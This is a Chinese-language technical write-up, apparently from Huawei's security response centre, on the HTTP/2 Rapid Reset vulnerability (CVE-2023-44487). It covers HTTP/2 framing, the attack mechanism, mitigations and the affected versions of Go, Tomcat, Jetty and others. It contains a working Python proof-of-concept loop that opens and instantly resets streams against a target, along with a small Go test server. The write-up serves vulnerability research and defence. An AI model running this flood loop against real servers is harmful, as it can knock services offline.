CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

1

漏洞概要

CVE-2023-44487是一枚HTTP/2协议漏洞,之前多个头部厂商声称监测到了此漏洞的在野利用。恶意攻击者可通过打开多个请求流并立即通过发送 RST_STREAM 帧取消请求,通过这种办法可以绕过并发流的限制,导致服务器资源的快速消耗。最终造成拒绝服务。此漏洞随后被命名为“HTTP/2快速重置”,舆情快速发酵。本文主要刨析一下漏洞的原理并尝试复现此漏洞,顺便研究一下HTTP/2的一些概念。

2

前置知识


因为这是一枚协议漏洞,因此需要理解下HTTP/2以及HTTP/2和HTTP/1两个协议的区别。

1. HTTP2核心概念

众所周知,HTTP/1是一种文本协议他将请求头和请求体合并在一起,中间用换行去间隔。HTTP/1的请求长这样:


  1. POST /upload HTTP/1.1

  2. Host: example.org

  3. Content-Type: application/json

  4. Content-Length: 15

  5. {"msg":"hello"}


而HTTP/2是二进制协议,它含四个概念:

  • 连接 ConnectionTCP连接,1TCP连接包含多个Stream

  • 数据流 Stream:连接内的最大单元,一个双向通信的数据流。1个数据流中包含1条或多条message

  • 消息 Message:可近似对应HTTP/1中的请求或者响应,其中包含1个或多个Frame

  • 数据帧 Frame:是HTTP/2的最小单位了,也是最基本单元。帧有多种类型,下面我介绍几种和漏洞相关的帧类型。

    • HEADERS frame (type=0x01)承载着请求的头部信息,同时,它还承担着打开一个流的作用。

    • DATA frame (type=0x00) 承载着请求体的信息

    • RST_STREAM frame (type=0x03)      发送RST_STREAM帧可立即终止流。但是终端必须准备好接收在RST_STREAM帧发送到达前返回的信息。RST_STREAM帧发送后,即取消了整个流,也就不会收到这个流后续的返回信息了(划重点)。

其他还有诸如SETTINGPUSH_PROMISEWINDOW_UPDATE等帧的功能与本漏洞无关,不过多介绍,感兴趣可查看RFC 9113(https://www.rfc-editor.org/rfc/rfc9113.html)


这样一来,上面的请求就可以近似转化成以下HTTP/2的形式:


CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”


图示一下大概是下图的结构:

CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

https://cheapsslsecurity.com/p/http2-vs-http1/


2.影响HTTP2的多路复用

其实我们从上面HTTP/2的基本概念也不难发现,一个TCP连接包含多个Stream,一个Stream又包含多个消息和帧,这样的设计就是为了复用同一个TCP连接传递多个请求。因此HTTP/2HTTP/1最大的区别就是多路复用。

 HTTP/1中,每次请求都会建立一次HTTP连接,在一次请求过程中即使开启了Keep-Alive依然有两个效率上的问题:

  1. 1、串行的文件传输。当请求a文件时,b文件只能等待,等待a连接到服务器、服务器处理文件、服务器返回文件,过程非常耗时。

  2. 2、连接数过多。假设Web     Server设置了最大并发数为300,浏览器限制发起的最大请求数为6。这种情况下Web     Server能承载的最高并发为50,当第51个人访问时,就需要等待前面某个请求处理完成。

下图展示了HTTP/1HTTP/2协议对于资源请求的处理策略对比:

CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

具体到多路复用场景下连接、流、消息、帧的关系见下图:

CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

https://dirtmelon.github.io/posts/high-performance-browser-networking-second/

我还在某个文章背景介绍中看到了更形象的一张图:

CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

https://cheapsslsecurity.com/p/http2-vs-http1/

全部前置知识了解完毕后,我们来看下漏洞原理。

3

漏洞原理

现代WEB架构通常是由一个HTTP Server作为前端对流量进行解析和负载均衡,反向代理后端的业务。以Nginx为例,架构如下图:

CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

https://www.explainthis.io/zh-hant/swe/why-nginx

图上HTTP ServerNginx)我们后面称为Web Server,真正的后端业务我们称为Application Server

对于客户端发送的请求,Web Server都会解析后与Application Server建立连接发送请求。当支持HTTP/2时,因为HTTP/2支持多路复用,又因为RST_STREAM帧的存在,理论上攻击者可以仅建立一个或少量TCP连接,创建流(发送HEADERS帧)后立即重置流(发送RST_STREAM帧)再次创建流再立即重置……如此循环往复多次。此时因为创建流后立即重置流,攻击者不会收到任何来自Web Server的响应,而Web Server在创建流的时候会立即将请求转发到Application Server,造成攻击者仅用少量可控的资源消耗,撬动目标Application Server大量资源消耗,即有可能造成拒绝服务。

因为攻击过程中仅仅打开了少量可控的TCP连接,因此抗D类安全防护产品可能会识别不到此类攻击,故它是一枚区别于传统DDoS的拒绝服务漏洞

下图为Nginx官方对该漏洞的攻击原理的直观展示:

CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/

4

漏洞“复现

目前网上传的一些PoC代码有些许问题,需要修改。其实原理就是在同一个TCP连接中,先对目标发送HEADERS打开一个新的流,然后马上Reset流。网传的PoC有些是打开了多个TCP连接,和传统DDoS一样,没有本质区别。我们攥写了GolangPython两个版本的PoC,但是Golang目前会强制断开TCP连接(研究官方文档可能是流状态的原因,待继续研究)。目前Python版的PoC基本已经可以复现此漏洞的原理了。核心代码如下:

  1. ctx = ssl.create_default_context()
  2. ctx.check_hostname = False
  3. ctx.verify_mode = ssl.CERT_NONE
  4. ctx.keylog_filename = "d:\keys"
  5. ctx.set_alpn_protocols(['h2'])
  6. sock = ctx.wrap_socket(sock, server_hostname=url)
  7. config = H2Configuration(client_side=True)
  8. conn = H2Connection(config=config)
  9. # Create a TCP connection
  10. conn.initiate_connection()
  11. sock.sendall(conn.data_to_send())
  12. while True:
  13.     try:
  14.         # Create a new stream
  15.         stream_id = conn.get_next_available_stream_id()
  16.         print('now send herders for',stream_id)
  17.         conn.send_headers(
  18.             stream_id,
  19.             [(':method', 'GET'), (':authority', url), (':path', '/'),
  20.                 (':scheme', 'https')],
  21.         )
  22.         sock.sendall(conn.data_to_send())
  23.         # reset stream immediately
  24.         print('now reset stream for',stream_id)
  25.         conn.reset_stream(stream_id, error_code=ErrorCodes.CANCEL)
  26.         sock.sendall(conn.data_to_send())
  27.     except Exception as e:
  28.         print(f"An error occurred: {e}")

因为这次主要受影响的是Golang支持HTTP/2的服务,所以用Golang写了一个最简单的Server去同时充当Web ServerApplication Server,代码如下:

  1. package main

  2. import (

  3. "fmt"

    "net/http"

  4. )


  5. func main() {

  6. http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {

  7. fmt.Println(r.Proto, r.URL)

  8. fmt.Fprintf(w, "Hello, HTTP/2!")

  9. })

  10. http.ListenAndServeTLS(":443", "server.pem", "server.key", nil)

  11. }

然后运行这俩代码,抓包后通过输出的keylog解密TLS流量,即可查看到PoC效果与漏洞原理相同:

CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

查看后端日志,也确实是接收到了多个请求。

此时应该放一张资源消耗的截图,但我们认为虽然复现的原理对了,但当前无法真正复现到DoS从漏洞的原理看,漏洞真正的影响是后端Application Server,前端Web Server访问量上来必然会造成资源消耗的增加。我们当前没有模拟到后端Application Server真实的业务场景。假设后端是一个比较消耗资源的API,它连接了数据库并需要进行多表查询和遍历数据等操作,那么这个漏洞就会真正影响到Application Server,而当前的测试无法复现真实的业务环境,换句话说这个漏洞的利用也是依赖真实业务场景的。无法简单的进行评估。所以目前的“复现”是加引号的,暂时只能停留在理论上。资源消耗的截图就没什么意义了。

5

漏洞影响

前面已经提到,这个漏洞的影响应看实际业务。Nginx在官网中也提到了默认配置的Nginx是不受漏洞影响的,因为默认配置的Nginx限制了最大请求保活数(keepalive_requests)为1000HTTP/2最大流数(http2_max_concurrent_streams)为128。这两个配置由于藏得极深,除非业务需要,其他基础使用未必会使用到。对于Golang等语言实现的Web服务,就需要具体问题具体分析了。有传言称黑客利用此漏洞代替DDoS部署在僵尸网络中,能放大DDoS的效果。从技术上分析确实是可行的。

6

参考链接

可通过检测服务器是否支持HTTP/2协议来快速排除不受影响场景:


  1. curl -sI https://目标网站/ -o/dev/null -w '%{http_version}n' -k

以上命令在Ubuntu22.04下测试输出结果为2,代表支持HTTP/2协议;请结合测试环境自行调整命令;)

支持HTTP/2的场景将根据Web Server的官方公告更新确认受影响情况。

7

规避措施

  • 启用WAF或DDoS防御相关安全系统(此类系统一般会有速率限制,可间接缓解该漏洞);

  • 在Web服务上临时禁用HTTP2协议

8

已知受影响漏洞源

  • 列举部分已知受影响的漏洞源:
    Netty

  • Netty < 4.1.100.Final

  • Go

  • Go < 1.21.3

  • Go < 1.20.10

  • Apache Tomcat

  • 11.0.0-M1 <= Apache Tomcat <= 11.0.0-M11

  • 10.1.0-M1 <= Apache Tomcat <= 10.1.13

  • 9.0.0-M1 <= Apache Tomcat <= 9.0.80

  • 8.5.0 <= Apache Tomcat <= 8.5.93

  • grpc-go

  • grpc-go < 1.58.3

  • grpc-go < 1.57.1

  • grpc-go < 1.56.3

  • jetty

  • jetty < 12.0.2

  • jetty < 10.0.17

  • jetty < 11.0.17

  • jetty < 9.4.53.v20231009

  • nghttp2

  • nghttp2 < v1.57.0

  • Apache Traffic Server

  • 8.0.0 <= Apache Traffic Server <= 8.1.8

  • 9.0.0 <= Apache Traffic Server <= 9.2.2

9

参考链接

https://halfrost.com/http2-http-frames/

https://www.rfc-editor.org/rfc/rfc9113.html

https://cheapsslsecurity.com/p/http2-vs-http1/

https://nvd.nist.gov/vuln/detail/CVE-2023-44487

https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/

本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

推荐阅读

华为终端安全奖励计划|漏洞奖金翻倍活动强势回归–更高奖金,更多守护

“最新奖励计划”正式发布!!

华为终端奇点安全实验室校园招聘


点这里CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”关注我们,一键三连~

原文始发于微信公众号(华为安全应急响应中心):CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现”

版权声明:admin 发表于 2023年12月21日 下午6:11。
转载请注明:CVE-2023-44487 HTTP/2快速重置漏洞技术分析和“复现” | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...